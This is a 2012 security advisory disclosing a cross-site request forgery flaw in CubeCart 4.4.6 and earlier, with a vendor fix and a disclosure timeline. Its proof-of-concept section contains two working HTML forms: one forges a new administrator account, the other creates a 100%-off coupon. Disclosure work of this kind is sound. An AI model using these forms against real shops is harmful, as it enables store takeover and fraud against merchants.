CubeCart 4.4.6 Cross Site Request Forgery

`1. OVERVIEW  
  
CubeCart 4.4.6 and lower versions are vulnerable to Cross Site Request  
Forgery (CSRF).  
  
  
2. BACKGROUND  
  
CubeCart is an "out of the box" ecommerce shopping cart software  
solution which has been written to run on servers that have PHP &  
MySQL support. With CubeCart you can quickly setup a powerful online  
store which can be used to sell digital or tangible products to new  
and existing customers all over the world.  
  
  
3. VULNERABILITY DESCRIPTION  
  
CubeCart 4.4.6 and and lower versions contain a flaw that allows a  
remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw  
exists because the application does not require multiple steps or  
explicit confirmation for sensitive transactions for majority of  
administrator functions such as adding new user, assigning user to  
administrative privilege. By using a crafted URL, an attacker may  
trick the victim into visiting to his web page to take advantage of  
the trust relationship between the authenticated victim and the  
application. Such an attack could trick the victim into executing  
arbitrary commands in the context of their session with the  
application, without further prompting or verification.  
  
  
4. VERSIONS AFFECTED  
  
4.4.6 and lower  
  
  
5. Proof-of-Concept  
  
////////////////////////////////////////////////////////////////////////////////////  
Add Admin User  
==================  
<form action="http://localhost/admin.php?_g=adminusers/administrators"  
method="POST" enctype="multipart/form-data">  
<input type="hidden" name="name" value="hacker" />  
<input type="hidden" name="adminUsername" value="hacker" />  
<input type="hidden" name="email" value="[email protected]" />  
<input type="hidden" name="adminPassword" value="h@ck3er" />  
<input type="hidden" name="adminPassword_verify"  
value="h@ck3er" />  
<input type="hidden" name="isSuper" value="-" />  
<input type="hidden" name="notes" value=" " />  
<input type="hidden" name="adminId" value=" " />  
<input type="hidden" name="Submit" value="Add User" />  
<input type="submit" value="Submit form" />  
</form>  
  
Add Coupon  
==============  
<form action="http://localhost/admin.php?_g=products/coupons" method="POST">  
<input type="hidden" name="code" value="HACKER" />  
<input type="hidden" name="discount_percent" value="100" />  
<input type="hidden" name="discount_price" value="" />  
<input type="hidden" name="expires" value="3000/12/30" />  
<input type="hidden" name="allowed_uses" value="0" />  
<input type="hidden" name="count" value="0" />  
<input type="hidden" name="desc" value="0" />  
<input type="hidden" name="id" value="" />  
<input type="hidden" name="Submit" value="Edit Coupon" />  
<input type="submit" value="Submit form" />  
</form>  
////////////////////////////////////////////////////////////////////////   
  
  
6. SOLUTION  
  
The CubeCart 4.x version family is no longer maintained by the vendor.  
Upgrade to the currently supported latest CubeCart version - 5.x.  
  
  
7. VENDOR  
  
CubeCart Development Team  
http://cubecart.com/  
  
  
8. CREDIT  
  
Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.  
  
  
9. DISCLOSURE TIME-LINE  
  
2012-12-22: CubeCart 4.x in End-of-Support/Maintenance circle  
2012-12-24: Vulnerability disclosed  
  
  
10. REFERENCES  
  
Original Advisory URL:  
http://yehg.net/lab/pr0js/advisories/%5Bcubecart_4.4.6%5D_csrf  
CubeCart Home Page: http://cubecart.com/  
CubeCart Bug-Fix Announcement:  
http://forums.cubecart.com/topic/45456-cubecart-447-released/  
  
#yehg [2012-12-24]  
  
---------------------------------  
Best regards,  
YGN Ethical Hacker Group  
Yangon, Myanmar  
http://yehg.net  
Our Lab | http://yehg.net/lab  
Our Directory | http://yehg.net/hwd  
`